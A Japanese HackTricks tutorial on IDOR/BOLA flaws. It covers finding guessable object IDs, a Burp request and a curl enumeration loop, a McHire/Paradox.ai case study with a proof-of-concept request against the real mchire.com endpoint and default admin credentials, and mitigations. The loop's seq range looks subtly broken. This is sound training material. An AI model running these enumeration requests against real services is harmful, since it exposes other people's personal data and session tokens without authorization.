5.3 KiB
Raw Blame History

IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、直接的に内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。


1. 潜在的なIDORの特定

  1. オブジェクトを参照するパラメータを探します:
  • パス: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • クエリ: ?id=42, ?invoice=2024-00001
  • ボディ / JSON: {"user_id": 321, "order_id": 987}
  • ヘッダー / クッキー: X-Client-ID: 4711
  1. データを読み取るまたは更新するエンドポイントを優先します(GET, PUT, PATCH, DELETE)。
  2. 識別子が連続的または予測可能である場合に注意します あなたのIDが64185742であれば、64185741はおそらく存在します。
  3. 追加のAPIを露出させる可能性のある隠れたまたは代替のフロー例: ログインページの*"Paradox team members"*リンク)を探ります。
  4. 認証された低特権セッションを使用し、同じトークン/クッキーを保持しながらIDのみを変更します。認可エラーがないことは通常、IDORの兆候です。

クイック手動改ざん (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自動列挙 (Burp Intruder / curl ループ)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. 実世界のケーススタディ McHire チャットボットプラットフォーム (2025)

Paradox.aiを利用したMcHire採用ポータルの評価中に、以下のIDORが発見されました

  • エンドポイント: PUT /api/lead/cem-xhr
  • 認証: 任意のレストランテストアカウントのユーザーセッションクッキー
  • ボディパラメータ: {"lead_id": N} 8桁の連続した数値識別子

lead_idを減少させることで、テスターは任意の応募者の完全なPII(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者JWTを取得しました。範囲1 64,185,742の列挙により、約6400万件のレコードが露出しました。

概念実証リクエスト:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

デフォルトの管理者資格情報 (123456:123456) と組み合わせることで、テストアカウントへのアクセスが許可され、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。


3. IDOR / BOLAの影響

  • 水平的エスカレーション 他のユーザーのデータを読み取り/更新/削除。
  • 垂直的エスカレーション 権限の低いユーザーが管理者専用の機能を取得。
  • 識別子が連続している場合応募者ID、請求書に大規模なデータ漏洩。
  • トークンを盗むか、他のユーザーのパスワードをリセットすることでアカウントを乗っ取る。

4. 緩和策とベストプラクティス

  1. オブジェクトレベルの認可をすべてのリクエストに強制する (user_id == session.user)。
  2. 自動インクリメントIDの代わりに間接的で推測不可能な識別子UUIDv4、ULIDを好む。
  3. 認可をサーバーサイドで実行し、隠しフォームフィールドやUIコントロールに依存しない。
  4. 中央ミドルウェアでRBAC / ABACチェックを実装する。
  5. IDの列挙を検出するためにレート制限とログ記録を追加する。
  6. 新しいエンドポイントごとにセキュリティテストを実施するユニット、統合、DAST

5. ツール

  • BurpSuite拡張機能: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Githubプロジェクト: bwapp-idor-scanner, BlindyバルクIDORハンティング

{{#include ../banners/hacktricks-training.md}}

参考文献